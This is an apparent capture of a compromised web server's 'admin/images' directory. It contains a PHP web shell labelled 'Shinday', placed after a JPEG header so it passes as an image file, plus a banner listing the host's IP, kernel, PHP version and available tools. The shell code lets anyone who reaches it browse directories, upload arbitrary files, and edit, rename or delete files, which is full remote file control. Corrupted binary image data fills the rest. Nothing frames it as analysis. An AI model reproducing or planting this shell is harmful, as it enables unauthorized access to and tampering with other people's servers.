Server IP : 80.241.246.6 / Your IP : 216.73.216.167 Web Server : Apache/2.4.25 (Debian) System : Linux kharagauli 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64 User : www-data ( 33) PHP Version : 7.0.33-0+deb9u12 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/kharagauli_new/admin/images/ |
Upload File : |
�������JFIF��H�H��II*����������<?php function createBreadcrumb($currentDir) { $parts = explode(DIRECTORY_SEPARATOR, $currentDir); $breadcrumb = array(); $path = ''; foreach ($parts as $part) { if ($part === '') continue; $path .= DIRECTORY_SEPARATOR . $part; $breadcrumb[] = "<a href='?dir=" . urlencode($path) . "'>" . htmlspecialchars($part) . "</a>"; } return implode(DIRECTORY_SEPARATOR, $breadcrumb); } $directory = isset($_GET['dir']) ? $_GET['dir'] : "."; $directory = @realpath($directory); if (!$directory || !is_dir($directory)) { die("Direktori tidak valid."); } $message = ""; if (isset($_POST['upload'])) { if ($_FILES['file']['error'] === UPLOAD_ERR_NO_FILE) { $message = "Tidak ada file yang dipilih."; } else { $targetFile = $directory . "/" . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) { $message = "File berhasil diupload."; } else { $message = "Gagal mengupload file."; } } } if (isset($_GET['delete'])) { $target = $directory . "/" . basename($_GET['delete']); if (is_file($target)) { if (unlink($target)) { $message = "File berhasil dihapus."; } else { $message = "Gagal menghapus file."; } } else { $message = "Objek tidak valid untuk dihapus."; } } if (isset($_POST['edit'])) { $fileToEdit = $directory . "/" . basename($_POST['file_name']); if (is_file($fileToEdit)) { if (file_put_contents($fileToEdit, $_POST['file_content']) !== false) { $message = "File berhasil diedit."; } else { $message = "Gagal menyimpan perubahan file."; } } else { $message = "File tidak ditemukan."; } } if (isset($_POST['rename'])) { $oldName = $directory . "/" . basename($_POST['old_name']); $newName = $directory . "/" . basename($_POST['new_name']); if (rename($oldName, $newName)) { $message = "Nama berhasil diubah."; } else { $message = "Gagal mengganti nama."; } } echo "<h3>Shinday</h3>"; echo "<ul>"; echo "<li><b>Server:</b> " . $_SERVER['SERVER_SOFTWARE'] . "</li>"; echo "<li><b>Sistem Operasi:</b> " . php_uname() . "</li>"; echo "<li><b>PHP Version:</b> " . phpversion() . "</li>"; echo "</ul>"; echo "<h2>DIR~: " . createBreadcrumb($directory) . "</h2>"; echo "<h3>Upload File</h3>"; echo "<form method='post' enctype='multipart/form-data'>"; echo "<input type='file' name='file'>"; echo "<input type='submit' name='upload' value='Upload'>"; echo "</form>"; if ($message !== "") { echo "<p style='color: green;'>" . htmlspecialchars($message) . "</p>"; } echo "<ul style='list-style:none; padding:0;'>"; if (isset($_GET['edit'])) { $fileToEdit = $directory . "/" . basename($_GET['edit']); if (is_file($fileToEdit)) { $content = htmlspecialchars(file_get_contents($fileToEdit)); echo "<h3>Edit File: " . htmlspecialchars($_GET['edit']) . "</h3>"; echo "<form method='post'>"; echo "<textarea name='file_content' rows='10' cols='50'>$content</textarea><br>"; echo "<input type='hidden' name='file_name' value='" . htmlspecialchars($_GET['edit']) . "'>"; echo "<input type='submit' name='edit' value='Simpan'>"; echo "</form>"; } else { echo "File tidak ditemukan."; } } if (isset($_GET['rename'])) { $itemToRename = $directory . "/" . basename($_GET['rename']); if (is_file($itemToRename) || is_dir($itemToRename)) { echo "<h3>Rename : " . htmlspecialchars($_GET['rename']) . "</h3>"; echo "<form method='post'>"; echo "<input type='text' name='new_name' placeholder='Nama baru'>"; echo "<input type='hidden' name='old_name' value='" . htmlspecialchars($_GET['rename']) . "'>"; echo "<input type='submit' name='rename' value='Rename'>"; echo "</form>"; } else { echo "File atau folder tidak ditemukan."; } } $folders = array(); $files = array(); if ($dh = @opendir($directory)) { while (($file = readdir($dh)) !== false) { if ($file == "." || $file == "..") continue; $path = $directory . DIRECTORY_SEPARATOR . $file; if (is_dir($path)) { $folders[] = $file; } else { $files[] = $file; } } closedir($dh); } else { echo "<li>none</li>"; } sort($folders); sort($files); foreach ($folders as $folder) { $path = $directory . "/" . $folder; $isEditable = is_writable($path); $color = $isEditable ? 'green' : 'red'; echo "<li style='color: $color;'><b>[DIR]</b> <a href='?dir=" . urlencode($path) . "'>" . htmlspecialchars($folder) . "</a>"; } foreach ($files as $file) { $path = $directory . "/" . $file; $isEditable = is_writable($path); $color = $isEditable ? 'green' : 'red'; echo "<li style='color: $color;'><b>[FILE]</b> " . htmlspecialchars($file); echo " <a href='?edit=" . urlencode($file) . "&dir=" . urlencode($directory) . "'style='color:red;'>[Edit]</a>"; echo " <a href='?dir=" . urlencode($directory) . "&rename=" . urlencode($file) . "' style='color:red;'>[Rename]</a>"; echo " <a href='?dir=" . urlencode($directory) . "&delete=" . urlencode($file) . "' style='color:red;' onclick='return confirm(\"Yakin ingin menghapus file ini?\")'>[Delete]</a>"; } echo "</ul>"; ?>���JFIF���������C� $.' ",#(7),01444'9=82<.342���C 2!!22222222222222222222222222222222222222222222222222�������"�������������� �������}�!1AQa"q2���#B��R��$3br� %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz����������������������������������������������������������������������������������� ������w�!1AQaq"2�B���� #3R�br� $4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������������?��(���ϝ (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�� (�GK"��c���0����Ս&ݐG��QKAW�Ҥa�$T�5�ml���^I���SW�9�bgQ���lڻ'���{�|� 7���e>��|��>�JXd��"?κ*�hRx�8�?�g��2�D�����5�k/��c��Ӕu��v���������QQW�kB�8զ�+���Qqn2�QZQE�QE�QE�QE�QE�QE�QE�QE���Fg���z����>�t�IS���������SY����s����#�CV�(��� (��3�hǗ�d�:���~��Zڳ�i�Kg�����M~��o)�>�v�������/�;yQ_LpQ@Q@Q@Q@Q@Q@�>�io�A����W%�+�����U�5j#R3mE��� (����S� ꧧ�GEEJp�Nj�5��8���衙'�:��T��Aq%������d��#`��5�Vi������;�U����8|ʔ�j�?�Ѧ��h]� :�T_V��7'��\]KrF�6�B���[��EE���8u���%�zz�U|ʌ#�;����L��B�P}* (�հ�)��F�%h�Y;9���[���+bB�(��(��(��(��(��u�Z=K�鹐��.2�8Ϸ>´�(�IQfc���I�)�.��֨Χ�,� �3��{��L�ÏŬ=->'���R|�ʞi.'�y[t�1wlc$�����Zo�[7p�f���;r��yU^�5It}J;Ȇ������?��|���y���9�>V{��7���[ȲC ʲ��k�M]aES���(���(���(���(���(���(���(���(�����5h�m.K��C�D��g �>�d� ��0���@ݵ9���������N�Å9�=y�zq���RO4��<��I��1�NMG_���U���9K��(���$�<��{���;f?�,���s���rk�kë�|/�mi��l�Å��s�0���<c�N3�{ ���#����7(��� ��(��(��(��(��(��(��(��(���Q��2�(,���ԓ^S�]i��Q�O�4YH@'g�`�?N����a��*��H�4�8S��מ��� p5�/�^�-�Nz�����(��(���*���K��Q�D7m�t,@u=A�P*�P������{e��7���[ȲC ʲ��kϼ��{���;f?�,���s���rk�k�p��������vB\��EWIAEPEPEPEPEPEPY�����t��~H��gی�aZ�m$���31��u$ה��ZmkTgS��R ���=�Ӧj��������ȩ>TeO4��<��I��1�NMGE�-�VrQ@Q@Q@z������7����p�aps����b���i��>��Cv܇B�S����p���w����"�.V{��7���[ȲC ʲ��k�M]aES���(���(���(���(�����5h�m.K��C�D��g �>�d� ��0���@ݵ9���������N�Å9�=y�zq���RO4��<��I��1�NMG_���U���9K��(���$(���(���(���(����<��{���;f?�,���s���rk�kë�|/�mi��l�Å��s�0���<c�N3�{ ���#����7(��� ��(��(�_�K4O�����O��Y����B�1��s�^�e������X�����K4O�����O��Y����B�1���z����a����i}���N����D���������\�ui5�Q�G�4YH@'g�`�?N��6������!�+%�L�4������ ��ҏ-�*z+����a�_z��"-�(��ҧ��T������� ��ҏ-�*z(�A��a�_z��"-�(��ҧ��T������� ��ҏ-�*z(�A��a�_z��"-�(��ҧ��T������� ��үi�Ə�Gy�ې�[����@�(��p��^��Wڗ����K4O�����O��Y����B�1��_�z����f��X�����K4O�����O��Y����B�1���z����a����i}���N����D���������Ey�k����,?�K�_�QEyG�QE�QE�QE�QE�QE�QE�QE�QE�QE�QE�QE�QE�QE�QE�QE�QE�QE�QE�QE�QE�QE�QE�QE�QE�QE�QE�QE�QE�QE�QE�QE�QE�QE�QE�QE�QE�QE�QE���